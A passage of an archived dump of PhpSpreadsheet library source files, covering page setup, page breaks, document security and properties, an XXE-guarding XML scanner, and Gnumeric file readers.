overwrites existing print area * The "I" method, inserts the new print area before any specified index, or at the end of the list * * @return $this */ public function setPrintAreaByColumnAndRow(int $column1, int $row1, int $column2, int $row2, int $index = 0, string $method = self::SETPRINTRANGE_OVERWRITE): static { return $this->setPrintArea( Coordinate::stringFromColumnIndex($column1) . $row1 . ':' . Coordinate::stringFromColumnIndex($column2) . $row2, $index, $method ); } /** * Add a new print area to the list of print areas. * * @param int $column1 Start Column for the print area * @param int $row1 Start Row for the print area * @param int $column2 End Column for the print area * @param int $row2 End Row for the print area * @param int $index Identifier for a specific print area range allowing several ranges to be set * A positive index will insert after that indexed entry in the print areas list, while a * negative index will insert before the indexed entry. * Specifying an index value of 0, will always append the new print range at the end of the * list. * Print areas are numbered from 1 * * @return $this */ public function addPrintAreaByColumnAndRow(int $column1, int $row1, int $column2, int $row2, int $index = -1): static { return $this->setPrintArea( Coordinate::stringFromColumnIndex($column1) . $row1 . ':' . Coordinate::stringFromColumnIndex($column2) . $row2, $index, self::SETPRINTRANGE_INSERT ); } /** * Get first page number. */ public function getFirstPageNumber(): ?int { return $this->firstPageNumber; } /** * Set first page number. * * @return $this */ public function setFirstPageNumber(?int $value): static { $this->firstPageNumber = $value; return $this; } /** * Reset first page number. * * @return $this */ public function resetFirstPageNumber(): static { return $this->setFirstPageNumber(null); } public function getPageOrder(): string { return $this->pageOrder; } public function setPageOrder(?string $pageOrder): self { if ($pageOrder === null || $pageOrder === self::PAGEORDER_DOWN_THEN_OVER || $pageOrder === self::PAGEORDER_OVER_THEN_DOWN) { $this->pageOrder = $pageOrder ?? self::PAGEORDER_DOWN_THEN_OVER; } return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/PageBreak.php000064400000002542151676714400021557 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Cell\CellAddress; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; class PageBreak { private int $breakType; private string $coordinate; private int $maxColOrRow; /** * @param array{0: int, 1: int}|CellAddress|string $coordinate */ public function __construct(int $breakType, CellAddress|string|array $coordinate, int $maxColOrRow = -1) { $coordinate = Functions::trimSheetFromCellReference(Validations::validateCellAddress($coordinate)); $this->breakType = $breakType; $this->coordinate = $coordinate; $this->maxColOrRow = $maxColOrRow; } public function getBreakType(): int { return $this->breakType; } public function getCoordinate(): string { return $this->coordinate; } public function getMaxColOrRow(): int { return $this->maxColOrRow; } public function getColumnInt(): int { return Coordinate::indexesFromString($this->coordinate)[0]; } public function getRow(): int { return Coordinate::indexesFromString($this->coordinate)[1]; } public function getColumnString(): string { return Coordinate::indexesFromString($this->coordinate)[2]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Document/Security.php000064400000005566151676714400021361 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Document; use PhpOffice\PhpSpreadsheet\Shared\PasswordHasher; class Security { /** * LockRevision. */ private bool $lockRevision = false; /** * LockStructure. */ private bool $lockStructure = false; /** * LockWindows. */ private bool $lockWindows = false; /** * RevisionsPassword. */ private string $revisionsPassword = ''; /** * WorkbookPassword. */ private string $workbookPassword = ''; /** * Create a new Document Security instance. */ public function __construct() { } /** * Is some sort of document security enabled? */ public function isSecurityEnabled(): bool { return $this->lockRevision || $this->lockStructure || $this->lockWindows; } public function getLockRevision(): bool { return $this->lockRevision; } public function setLockRevision(?bool $locked): self { if ($locked !== null) { $this->lockRevision = $locked; } return $this; } public function getLockStructure(): bool { return $this->lockStructure; } public function setLockStructure(?bool $locked): self { if ($locked !== null) { $this->lockStructure = $locked; } return $this; } public function getLockWindows(): bool { return $this->lockWindows; } public function setLockWindows(?bool $locked): self { if ($locked !== null) { $this->lockWindows = $locked; } return $this; } public function getRevisionsPassword(): string { return $this->revisionsPassword; } /** * Set RevisionsPassword. * * @param bool $alreadyHashed If the password has already been hashed, set this to true * * @return $this */ public function setRevisionsPassword(?string $password, bool $alreadyHashed = false): static { if ($password !== null) { if (!$alreadyHashed) { $password = PasswordHasher::hashPassword($password); } $this->revisionsPassword = $password; } return $this; } public function getWorkbookPassword(): string { return $this->workbookPassword; } /** * Set WorkbookPassword. * * @param bool $alreadyHashed If the password has already been hashed, set this to true * * @return $this */ public function setWorkbookPassword(?string $password, bool $alreadyHashed = false): static { if ($password !== null) { if (!$alreadyHashed) { $password = PasswordHasher::hashPassword($password); } $this->workbookPassword = $password; } return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Document/Properties.php000064400000030115151676714400021672 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Document; use DateTime; use PhpOffice\PhpSpreadsheet\Shared\IntOrFloat; class Properties { /** constants */ public const PROPERTY_TYPE_BOOLEAN = 'b'; public const PROPERTY_TYPE_INTEGER = 'i'; public const PROPERTY_TYPE_FLOAT = 'f'; public const PROPERTY_TYPE_DATE = 'd'; public const PROPERTY_TYPE_STRING = 's'; public const PROPERTY_TYPE_UNKNOWN = 'u'; private const VALID_PROPERTY_TYPE_LIST = [ self::PROPERTY_TYPE_BOOLEAN, self::PROPERTY_TYPE_INTEGER, self::PROPERTY_TYPE_FLOAT, self::PROPERTY_TYPE_DATE, self::PROPERTY_TYPE_STRING, ]; /** * Creator. */ private string $creator = 'Unknown Creator'; /** * LastModifiedBy. */ private string $lastModifiedBy; /** * Created. */ private float|int $created; /** * Modified. */ private float|int $modified; /** * Title. */ private string $title = 'Untitled Spreadsheet'; /** * Description. */ private string $description = ''; /** * Subject. */ private string $subject = ''; /** * Keywords. */ private string $keywords = ''; /** * Category. */ private string $category = ''; /** * Manager. */ private string $manager = ''; /** * Company. */ private string $company = ''; /** * Custom Properties. * * @var array{value: null|bool|float|int|string, type: string}[] */ private array $customProperties = []; private string $hyperlinkBase = ''; private string $viewport = ''; /** * Create a new Document Properties instance. */ public function __construct() { // Initialise values $this->lastModifiedBy = $this->creator; $this->created = self::intOrFloatTimestamp(null); $this->modified = $this->created; } /** * Get Creator. */ public function getCreator(): string { return $this->creator; } /** * Set Creator. * * @return $this */ public function setCreator(string $creator): self { $this->creator = $creator; return $this; } /** * Get Last Modified By. */ public function getLastModifiedBy(): string { return $this->lastModifiedBy; } /** * Set Last Modified By. * * @return $this */ public function setLastModifiedBy(string $modifiedBy): self { $this->lastModifiedBy = $modifiedBy; return $this; } private static function intOrFloatTimestamp(null|bool|float|int|string $timestamp): float|int { if ($timestamp === null || is_bool($timestamp)) { $timestamp = (float) (new DateTime())->format('U'); } elseif (is_string($timestamp)) { if (is_numeric($timestamp)) { $timestamp = (float) $timestamp; } else { $timestamp = (string) preg_replace('/[.][0-9]*$/', '', $timestamp); $timestamp = (string) preg_replace('/^(\\d{4})- (\\d)/', '$1-0$2', $timestamp); $timestamp = (string) preg_replace('/^(\\d{4}-\\d{2})- (\\d)/', '$1-0$2', $timestamp); $timestamp = (float) (new DateTime($timestamp))->format('U'); } } return IntOrFloat::evaluate($timestamp); } /** * Get Created. */ public function getCreated(): float|int { return $this->created; } /** * Set Created. * * @return $this */ public function setCreated(null|float|int|string $timestamp): self { $this->created = self::intOrFloatTimestamp($timestamp); return $this; } /** * Get Modified. */ public function getModified(): float|int { return $this->modified; } /** * Set Modified. * * @return $this */ public function setModified(null|float|int|string $timestamp): self { $this->modified = self::intOrFloatTimestamp($timestamp); return $this; } /** * Get Title. */ public function getTitle(): string { return $this->title; } /** * Set Title. * * @return $this */ public function setTitle(string $title): self { $this->title = $title; return $this; } /** * Get Description. */ public function getDescription(): string { return $this->description; } /** * Set Description. * * @return $this */ public function setDescription(string $description): self { $this->description = $description; return $this; } /** * Get Subject. */ public function getSubject(): string { return $this->subject; } /** * Set Subject. * * @return $this */ public function setSubject(string $subject): self { $this->subject = $subject; return $this; } /** * Get Keywords. */ public function getKeywords(): string { return $this->keywords; } /** * Set Keywords. * * @return $this */ public function setKeywords(string $keywords): self { $this->keywords = $keywords; return $this; } /** * Get Category. */ public function getCategory(): string { return $this->category; } /** * Set Category. * * @return $this */ public function setCategory(string $category): self { $this->category = $category; return $this; } /** * Get Company. */ public function getCompany(): string { return $this->company; } /** * Set Company. * * @return $this */ public function setCompany(string $company): self { $this->company = $company; return $this; } /** * Get Manager. */ public function getManager(): string { return $this->manager; } /** * Set Manager. * * @return $this */ public function setManager(string $manager): self { $this->manager = $manager; return $this; } /** * Get a List of Custom Property Names. * * @return string[] */ public function getCustomProperties(): array { return array_keys($this->customProperties); } /** * Check if a Custom Property is defined. */ public function isCustomPropertySet(string $propertyName): bool { return array_key_exists($propertyName, $this->customProperties); } /** * Get a Custom Property Value. */ public function getCustomPropertyValue(string $propertyName): bool|int|float|string|null { if (isset($this->customProperties[$propertyName])) { return $this->customProperties[$propertyName]['value']; } return null; } /** * Get a Custom Property Type. */ public function getCustomPropertyType(string $propertyName): ?string { return $this->customProperties[$propertyName]['type'] ?? null; } private function identifyPropertyType(bool|int|float|string|null $propertyValue): string { if (is_float($propertyValue)) { return self::PROPERTY_TYPE_FLOAT; } if (is_int($propertyValue)) { return self::PROPERTY_TYPE_INTEGER; } if (is_bool($propertyValue)) { return self::PROPERTY_TYPE_BOOLEAN; } return self::PROPERTY_TYPE_STRING; } /** * Set a Custom Property. * * @param ?string $propertyType see `self::VALID_PROPERTY_TYPE_LIST` * * @return $this */ public function setCustomProperty(string $propertyName, bool|int|float|string|null $propertyValue = '', ?string $propertyType = null): self { if (($propertyType === null) || (!in_array($propertyType, self::VALID_PROPERTY_TYPE_LIST))) { $propertyType = $this->identifyPropertyType($propertyValue); } $this->customProperties[$propertyName] = [ 'value' => self::convertProperty($propertyValue, $propertyType), 'type' => $propertyType, ]; return $this; } private const PROPERTY_TYPE_ARRAY = [ 'i' => self::PROPERTY_TYPE_INTEGER, // Integer 'i1' => self::PROPERTY_TYPE_INTEGER, // 1-Byte Signed Integer 'i2' => self::PROPERTY_TYPE_INTEGER, // 2-Byte Signed Integer 'i4' => self::PROPERTY_TYPE_INTEGER, // 4-Byte Signed Integer 'i8' => self::PROPERTY_TYPE_INTEGER, // 8-Byte Signed Integer 'int' => self::PROPERTY_TYPE_INTEGER, // Integer 'ui1' => self::PROPERTY_TYPE_INTEGER, // 1-Byte Unsigned Integer 'ui2' => self::PROPERTY_TYPE_INTEGER, // 2-Byte Unsigned Integer 'ui4' => self::PROPERTY_TYPE_INTEGER, // 4-Byte Unsigned Integer 'ui8' => self::PROPERTY_TYPE_INTEGER, // 8-Byte Unsigned Integer 'uint' => self::PROPERTY_TYPE_INTEGER, // Unsigned Integer 'f' => self::PROPERTY_TYPE_FLOAT, // Real Number 'r4' => self::PROPERTY_TYPE_FLOAT, // 4-Byte Real Number 'r8' => self::PROPERTY_TYPE_FLOAT, // 8-Byte Real Number 'decimal' => self::PROPERTY_TYPE_FLOAT, // Decimal 's' => self::PROPERTY_TYPE_STRING, // String 'empty' => self::PROPERTY_TYPE_STRING, // Empty 'null' => self::PROPERTY_TYPE_STRING, // Null 'lpstr' => self::PROPERTY_TYPE_STRING, // LPSTR 'lpwstr' => self::PROPERTY_TYPE_STRING, // LPWSTR 'bstr' => self::PROPERTY_TYPE_STRING, // Basic String 'd' => self::PROPERTY_TYPE_DATE, // Date and Time 'date' => self::PROPERTY_TYPE_DATE, // Date and Time 'filetime' => self::PROPERTY_TYPE_DATE, // File Time 'b' => self::PROPERTY_TYPE_BOOLEAN, // Boolean 'bool' => self::PROPERTY_TYPE_BOOLEAN, // Boolean ]; private const SPECIAL_TYPES = [ 'empty' => '', 'null' => null, ]; /** * Convert property to form desired by Excel. */ public static function convertProperty(bool|int|float|string|null $propertyValue, string $propertyType): bool|int|float|string|null { return self::SPECIAL_TYPES[$propertyType] ?? self::convertProperty2($propertyValue, $propertyType); } /** * Convert property to form desired by Excel. */ private static function convertProperty2(bool|int|float|string|null $propertyValue, string $type): bool|int|float|string|null { $propertyType = self::convertPropertyType($type); switch ($propertyType) { case self::PROPERTY_TYPE_INTEGER: $intValue = (int) $propertyValue; return ($type[0] === 'u') ? abs($intValue) : $intValue; case self::PROPERTY_TYPE_FLOAT: return (float) $propertyValue; case self::PROPERTY_TYPE_DATE: return self::intOrFloatTimestamp($propertyValue); case self::PROPERTY_TYPE_BOOLEAN: return is_bool($propertyValue) ? $propertyValue : ($propertyValue === 'true'); default: // includes string return $propertyValue; } } public static function convertPropertyType(string $propertyType): string { return self::PROPERTY_TYPE_ARRAY[$propertyType] ?? self::PROPERTY_TYPE_UNKNOWN; } public function getHyperlinkBase(): string { return $this->hyperlinkBase; } public function setHyperlinkBase(string $hyperlinkBase): self { $this->hyperlinkBase = $hyperlinkBase; return $this; } public function getViewport(): string { return $this->viewport; } public const SUGGESTED_VIEWPORT = 'width=device-width, initial-scale=1'; public function setViewport(string $viewport): self { $this->viewport = $viewport; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Security/XmlScanner.php000064400000004456151676714400023054 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Security; use PhpOffice\PhpSpreadsheet\Reader; class XmlScanner { private string $pattern; /** @var ?callable */ private $callback; public function __construct(string $pattern = '<!DOCTYPE') { $this->pattern = $pattern; } public static function getInstance(Reader\IReader $reader): self { $pattern = ($reader instanceof Reader\Html) ? '<!ENTITY' : '<!DOCTYPE'; return new self($pattern); } public function setAdditionalCallback(callable $callback): void { $this->callback = $callback; } private static function forceString(mixed $arg): string { return is_string($arg) ? $arg : ''; } private function toUtf8(string $xml): string { $pattern = '/encoding="(.*?)"/'; $result = preg_match($pattern, $xml, $matches); $charset = strtoupper($result ? $matches[1] : 'UTF-8'); if ($charset !== 'UTF-8') { $xml = self::forceString(mb_convert_encoding($xml, 'UTF-8', $charset)); $result = preg_match($pattern, $xml, $matches); $charset = strtoupper($result ? $matches[1] : 'UTF-8'); if ($charset !== 'UTF-8') { throw new Reader\Exception('Suspicious Double-encoded XML, spreadsheet file load() aborted to prevent XXE/XEE attacks'); } } return $xml; } /** * Scan the XML for use of <!ENTITY to prevent XXE/XEE attacks. * * @param false|string $xml */ public function scan($xml): string { $xml = "$xml"; $xml = $this->toUtf8($xml); // Don't rely purely on libxml_disable_entity_loader() $pattern = '/\\0?' . implode('\\0?', str_split($this->pattern)) . '\\0?/'; if (preg_match($pattern, $xml)) { throw new Reader\Exception('Detected use of ENTITY in XML, spreadsheet file load() aborted to prevent XXE/XEE attacks'); } if ($this->callback !== null) { $xml = call_user_func($this->callback, $xml); } return $xml; } /** * Scan theXML for use of <!ENTITY to prevent XXE/XEE attacks. */ public function scanFile(string $filestream): string { return $this->scan(file_get_contents($filestream)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Gnumeric/Properties.php000064400000012427151676714400023075 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Gnumeric; use PhpOffice\PhpSpreadsheet\Reader\Gnumeric; use PhpOffice\PhpSpreadsheet\Spreadsheet; use SimpleXMLElement; class Properties { protected Spreadsheet $spreadsheet; public function __construct(Spreadsheet $spreadsheet) { $this->spreadsheet = $spreadsheet; } private function docPropertiesOld(SimpleXMLElement $gnmXML): void { $docProps = $this->spreadsheet->getProperties(); foreach ($gnmXML->Summary->Item as $summaryItem) { $propertyName = $summaryItem->name; $propertyValue = $summaryItem->{'val-string'}; switch ($propertyName) { case 'title': $docProps->setTitle(trim($propertyValue)); break; case 'comments': $docProps->setDescription(trim($propertyValue)); break; case 'keywords': $docProps->setKeywords(trim($propertyValue)); break; case 'category': $docProps->setCategory(trim($propertyValue)); break; case 'manager': $docProps->setManager(trim($propertyValue)); break; case 'author': $docProps->setCreator(trim($propertyValue)); $docProps->setLastModifiedBy(trim($propertyValue)); break; case 'company': $docProps->setCompany(trim($propertyValue)); break; } } } private function docPropertiesDC(SimpleXMLElement $officePropertyDC): void { $docProps = $this->spreadsheet->getProperties(); foreach ($officePropertyDC as $propertyName => $propertyValue) { $propertyValue = trim((string) $propertyValue); switch ($propertyName) { case 'title': $docProps->setTitle($propertyValue); break; case 'subject': $docProps->setSubject($propertyValue); break; case 'creator': $docProps->setCreator($propertyValue); $docProps->setLastModifiedBy($propertyValue); break; case 'date': $creationDate = $propertyValue; $docProps->setModified($creationDate); break; case 'description': $docProps->setDescription($propertyValue); break; } } } private function docPropertiesMeta(SimpleXMLElement $officePropertyMeta): void { $docProps = $this->spreadsheet->getProperties(); foreach ($officePropertyMeta as $propertyName => $propertyValue) { if ($propertyValue !== null) { $attributes = $propertyValue->attributes(Gnumeric::NAMESPACE_META); $propertyValue = trim((string) $propertyValue); switch ($propertyName) { case 'keyword': $docProps->setKeywords($propertyValue); break; case 'initial-creator': $docProps->setCreator($propertyValue); $docProps->setLastModifiedBy($propertyValue); break; case 'creation-date': $creationDate = $propertyValue; $docProps->setCreated($creationDate); break; case 'user-defined': if ($attributes) { [, $attrName] = explode(':', (string) $attributes['name']); $this->userDefinedProperties($attrName, $propertyValue); } break; } } } } private function userDefinedProperties(string $attrName, string $propertyValue): void { $docProps = $this->spreadsheet->getProperties(); switch ($attrName) { case 'publisher': $docProps->setCompany($propertyValue); break; case 'category': $docProps->setCategory($propertyValue); break; case 'manager': $docProps->setManager($propertyValue); break; } } public function readProperties(SimpleXMLElement $xml, SimpleXMLElement $gnmXML): void { $officeXML = $xml->children(Gnumeric::NAMESPACE_OFFICE); if (!empty($officeXML)) { $officeDocXML = $officeXML->{'document-meta'}; $officeDocMetaXML = $officeDocXML->meta; foreach ($officeDocMetaXML as $officePropertyData) { $officePropertyDC = $officePropertyData->children(Gnumeric::NAMESPACE_DC); $this->docPropertiesDC($officePropertyDC); $officePropertyMeta = $officePropertyData->children(Gnumeric::NAMESPACE_META); $this->docPropertiesMeta($officePropertyMeta); } } elseif (isset($gnmXML->Summary)) { $this->docPropertiesOld($gnmXML); } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Gnumeric/Styles.php000064400000027105151676714400022223 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Gnumeric; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Borders; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\Font; use SimpleXMLElement; class Styles { private Spreadsheet $spreadsheet; protected bool $readDataOnly; public static array $mappings = [ 'borderStyle' => [ '0' => Border::BORDER_NONE, '1' => Border::BORDER_THIN, '2' => Border::BORDER_MEDIUM, '3' => Border::BORDER_SLANTDASHDOT, '4' => Border::BORDER_DASHED, '5' => Border::BORDER_THICK, '6' => Border::BORDER_DOUBLE, '7' => Border::BORDER_DOTTED, '8' => Border::BORDER_MEDIUMDASHED, '9' => Border::BORDER_DASHDOT, '10' => Border::BORDER_MEDIUMDASHDOT, '11' => Border::BORDER_DASHDOTDOT, '12' => Border::BORDER_MEDIUMDASHDOTDOT, '13' => Border::BORDER_MEDIUMDASHDOTDOT, ], 'fillType' => [ '1' => Fill::FILL_SOLID, '2' => Fill::FILL_PATTERN_DARKGRAY, '3' => Fill::FILL_PATTERN_MEDIUMGRAY, '4' => Fill::FILL_PATTERN_LIGHTGRAY, '5' => Fill::FILL_PATTERN_GRAY125, '6' => Fill::FILL_PATTERN_GRAY0625, '7' => Fill::FILL_PATTERN_DARKHORIZONTAL, // horizontal stripe '8' => Fill::FILL_PATTERN_DARKVERTICAL, // vertical stripe '9' => Fill::FILL_PATTERN_DARKDOWN, // diagonal stripe '10' => Fill::FILL_PATTERN_DARKUP, // reverse diagonal stripe '11' => Fill::FILL_PATTERN_DARKGRID, // diagoanl crosshatch '12' => Fill::FILL_PATTERN_DARKTRELLIS, // thick diagonal crosshatch '13' => Fill::FILL_PATTERN_LIGHTHORIZONTAL, '14' => Fill::FILL_PATTERN_LIGHTVERTICAL, '15' => Fill::FILL_PATTERN_LIGHTUP, '16' => Fill::FILL_PATTERN_LIGHTDOWN, '17' => Fill::FILL_PATTERN_LIGHTGRID, // thin horizontal crosshatch '18' => Fill::FILL_PATTERN_LIGHTTRELLIS, // thin diagonal crosshatch ], 'horizontal' => [ '1' => Alignment::HORIZONTAL_GENERAL, '2' => Alignment::HORIZONTAL_LEFT, '4' => Alignment::HORIZONTAL_RIGHT, '8' => Alignment::HORIZONTAL_CENTER, '16' => Alignment::HORIZONTAL_CENTER_CONTINUOUS, '32' => Alignment::HORIZONTAL_JUSTIFY, '64' => Alignment::HORIZONTAL_CENTER_CONTINUOUS, ], 'underline' => [ '1' => Font::UNDERLINE_SINGLE, '2' => Font::UNDERLINE_DOUBLE, '3' => Font::UNDERLINE_SINGLEACCOUNTING, '4' => Font::UNDERLINE_DOUBLEACCOUNTING, ], 'vertical' => [ '1' => Alignment::VERTICAL_TOP, '2' => Alignment::VERTICAL_BOTTOM, '4' => Alignment::VERTICAL_CENTER, '8' => Alignment::VERTICAL_JUSTIFY, ], ]; public function __construct(Spreadsheet $spreadsheet, bool $readDataOnly) { $this->spreadsheet = $spreadsheet; $this->readDataOnly = $readDataOnly; } public function read(SimpleXMLElement $sheet, int $maxRow, int $maxCol): void { if ($sheet->Styles->StyleRegion !== null) { $this->readStyles($sheet->Styles->StyleRegion, $maxRow, $maxCol); } } private function readStyles(SimpleXMLElement $styleRegion, int $maxRow, int $maxCol): void { foreach ($styleRegion as $style) { $styleAttributes = $style->attributes(); if ($styleAttributes !== null && ($styleAttributes['startRow'] <= $maxRow) && ($styleAttributes['startCol'] <= $maxCol)) { $cellRange = $this->readStyleRange($styleAttributes, $maxCol, $maxRow); $styleAttributes = $style->Style->attributes(); $styleArray = []; // We still set the number format mask for date/time values, even if readDataOnly is true // so that we can identify whether a float is a float or a date value $formatCode = $styleAttributes ? (string) $styleAttributes['Format'] : null; if ($formatCode && Date::isDateTimeFormatCode($formatCode)) { $styleArray['numberFormat']['formatCode'] = $formatCode; } if ($this->readDataOnly === false && $styleAttributes !== null) { // If readDataOnly is false, we set all formatting information $styleArray['numberFormat']['formatCode'] = $formatCode; $styleArray = $this->readStyle($styleArray, $styleAttributes, $style); } $this->spreadsheet->getActiveSheet()->getStyle($cellRange)->applyFromArray($styleArray); } } } private function addBorderDiagonal(SimpleXMLElement $srssb, array &$styleArray): void { if (isset($srssb->Diagonal, $srssb->{'Rev-Diagonal'})) { $styleArray['borders']['diagonal'] = self::parseBorderAttributes($srssb->Diagonal->attributes()); $styleArray['borders']['diagonalDirection'] = Borders::DIAGONAL_BOTH; } elseif (isset($srssb->Diagonal)) { $styleArray['borders']['diagonal'] = self::parseBorderAttributes($srssb->Diagonal->attributes()); $styleArray['borders']['diagonalDirection'] = Borders::DIAGONAL_UP; } elseif (isset($srssb->{'Rev-Diagonal'})) { $styleArray['borders']['diagonal'] = self::parseBorderAttributes($srssb->{'Rev-Diagonal'}->attributes()); $styleArray['borders']['diagonalDirection'] = Borders::DIAGONAL_DOWN; } } private function addBorderStyle(SimpleXMLElement $srssb, array &$styleArray, string $direction): void { $ucDirection = ucfirst($direction); if (isset($srssb->$ucDirection)) { $styleArray['borders'][$direction] = self::parseBorderAttributes($srssb->$ucDirection->attributes()); } } private function calcRotation(SimpleXMLElement $styleAttributes): int { $rotation = (int) $styleAttributes->Rotation; if ($rotation >= 270 && $rotation <= 360) { $rotation -= 360; } $rotation = (abs($rotation) > 90) ? 0 : $rotation; return $rotation; } private static function addStyle(array &$styleArray, string $key, string $value): void { if (array_key_exists($value, self::$mappings[$key])) { $styleArray[$key] = self::$mappings[$key][$value]; } } private static function addStyle2(array &$styleArray, string $key1, string $key, string $value): void { if (array_key_exists($value, self::$mappings[$key])) { $styleArray[$key1][$key] = self::$mappings[$key][$value]; } } private static function parseBorderAttributes(?SimpleXMLElement $borderAttributes): array { $styleArray = []; if ($borderAttributes !== null) { if (isset($borderAttributes['Color'])) { $styleArray['color']['rgb'] = self::parseGnumericColour($borderAttributes['Color']); } self::addStyle($styleArray, 'borderStyle', (string) $borderAttributes['Style']); } return $styleArray; } private static function parseGnumericColour(string $gnmColour): string { [$gnmR, $gnmG, $gnmB] = explode(':', $gnmColour); $gnmR = substr(str_pad($gnmR, 4, '0', STR_PAD_RIGHT), 0, 2); $gnmG = substr(str_pad($gnmG, 4, '0', STR_PAD_RIGHT), 0, 2); $gnmB = substr(str_pad($gnmB, 4, '0', STR_PAD_RIGHT), 0, 2); return $gnmR . $gnmG . $gnmB; } private function addColors(array &$styleArray, SimpleXMLElement $styleAttributes): void { $RGB = self::parseGnumericColour((string) $styleAttributes['Fore']); $styleArray['font']['color']['rgb'] = $RGB; $RGB = self::parseGnumericColour((string) $styleAttributes['Back']); $shade = (string) $styleAttributes['Shade']; if (($RGB !== '000000') || ($shade !== '0')) { $RGB2 = self::parseGnumericColour((string) $styleAttributes['PatternColor']); if ($shade === '1') { $styleArray['fill']['startColor']['rgb'] = $RGB; $styleArray['fill']['endColor']['rgb'] = $RGB2; } else { $styleArray['fill']['endColor']['rgb'] = $RGB; $styleArray['fill']['startColor']['rgb'] = $RGB2; } self::addStyle2($styleArray, 'fill', 'fillType', $shade); } } private function readStyleRange(SimpleXMLElement $styleAttributes, int $maxCol, int $maxRow): string { $startColumn = Coordinate::stringFromColumnIndex((int) $styleAttributes['startCol'] + 1); $startRow = $styleAttributes['startRow'] + 1; $endColumn = ($styleAttributes['endCol'] > $maxCol) ? $maxCol : (int) $styleAttributes['endCol']; $endColumn = Coordinate::stringFromColumnIndex($endColumn + 1); $endRow = 1 + (($styleAttributes['endRow'] > $maxRow) ? $maxRow : (int) $styleAttributes['endRow']); $cellRange = $startColumn . $startRow . ':' . $endColumn . $endRow; return $cellRange; } private function readStyle(array $styleArray, SimpleXMLElement $styleAttributes, SimpleXMLElement $style): array { self::addStyle2($styleArray, 'alignment', 'horizontal', (string) $styleAttributes['HAlign']); self::addStyle2($styleArray, 'alignment', 'vertical', (string) $styleAttributes['VAlign']); $styleArray['alignment']['wrapText'] = $styleAttributes['WrapText'] == '1'; $styleArray['alignment']['textRotation'] = $this->calcRotation($styleAttributes); $styleArray['alignment']['shrinkToFit'] = $styleAttributes['ShrinkToFit'] == '1'; $styleArray['alignment']['indent'] = ((int) ($styleAttributes['Indent']) > 0) ? $styleAttributes['indent'] : 0; $this->addColors($styleArray, $styleAttributes); $fontAttributes = $style->Style->Font->attributes(); if ($fontAttributes !== null) { $styleArray['font']['name'] = (string) $style->Style->Font; $styleArray['font']['size'] = (int) ($fontAttributes['Unit']); $styleArray['font']['bold'] = $fontAttributes['Bold'] == '1'; $styleArray['font']['italic'] = $fontAttributes['Italic'] == '1'; $styleArray['font']['strikethrough'] = $fontAttributes['StrikeThrough'] == '1'; self::addStyle2($styleArray, 'font', 'underline', (string) $fontAttributes['Underline']); switch ($fontAttributes['Script']) { case '1': $styleArray['font']['superscript'] = true; break; case '-1': $styleArray['font']['subscript'] = true; break; } } if (isset($style->Style->StyleBorder)) { $srssb = $style->Style->StyleBorder; $this->addBorderStyle($srssb, $styleArray, 'top'); $this->addBorderStyle($srssb, $styleArray, 'bottom'); $this->addBorderStyle($srssb, $styleArray, 'left'); $this->addBorderStyle($srssb, $styleArray, 'right'); $this->addBorderDiagonal($srssb, $styleArray); } // TO DO /* if (isset($style->Style->HyperLink)) { $hyperlink = $style->Style->HyperLink->attributes(); } */ return $styleArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Gnumeric/PageSetup.php000064400000012143151676714400022631 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Gnumeric; use PhpOffice\PhpSpreadsheet\Reader\Gnumeric; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\PageMargins; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup as WorksheetPageSetup; use SimpleXMLElement; class PageSetup { private Spreadsheet $spreadsheet; public function __construct(Spreadsheet $spreadsheet) { $this->spreadsheet = $spreadsheet; } public function printInformation(SimpleXMLElement $sheet): self { if (isset($sheet->PrintInformation, $sheet->PrintInformation[0])) { $printInformation = $sheet->PrintInformation[0]; $setup = $this->spreadsheet->getActiveSheet()->getPageSetup(); $attributes = $printInformation->Scale->attributes(); if (isset($attributes['percentage'])) { $setup->setScale((int) $attributes['percentage']); } $pageOrder = (string) $printInformation->order; if ($pageOrder === 'r_then_d') { $setup->setPageOrder(WorksheetPageSetup::PAGEORDER_OVER_THEN_DOWN); } elseif ($pageOrder === 'd_then_r') { $setup->setPageOrder(WorksheetPageSetup::PAGEORDER_DOWN_THEN_OVER); } $orientation = (string) $printInformation->orientation; if ($orientation !== '') { $setup->setOrientation($orientation); } $attributes = $printInformation->hcenter->attributes(); if (isset($attributes['value'])) { $setup->setHorizontalCentered((bool) (string) $attributes['value']); } $attributes = $printInformation->vcenter->attributes(); if (isset($attributes['value'])) { $setup->setVerticalCentered((bool) (string) $attributes['value']); } } return $this; } public function sheetMargins(SimpleXMLElement $sheet): self { if (isset($sheet->PrintInformation, $sheet->PrintInformation->Margins)) { $marginSet = [ // Default Settings 'top' => 0.75, 'header' => 0.3, 'left' => 0.7, 'right' => 0.7, 'bottom' => 0.75, 'footer' => 0.3, ]; $marginSet = $this->buildMarginSet($sheet, $marginSet); $this->adjustMargins($marginSet); } return $this; } private function buildMarginSet(SimpleXMLElement $sheet, array $marginSet): array { foreach ($sheet->PrintInformation->Margins->children(Gnumeric::NAMESPACE_GNM) as $key => $margin) { $marginAttributes = $margin->attributes(); $marginSize = ($marginAttributes['Points']) ?? 72; // Default is 72pt // Convert value in points to inches 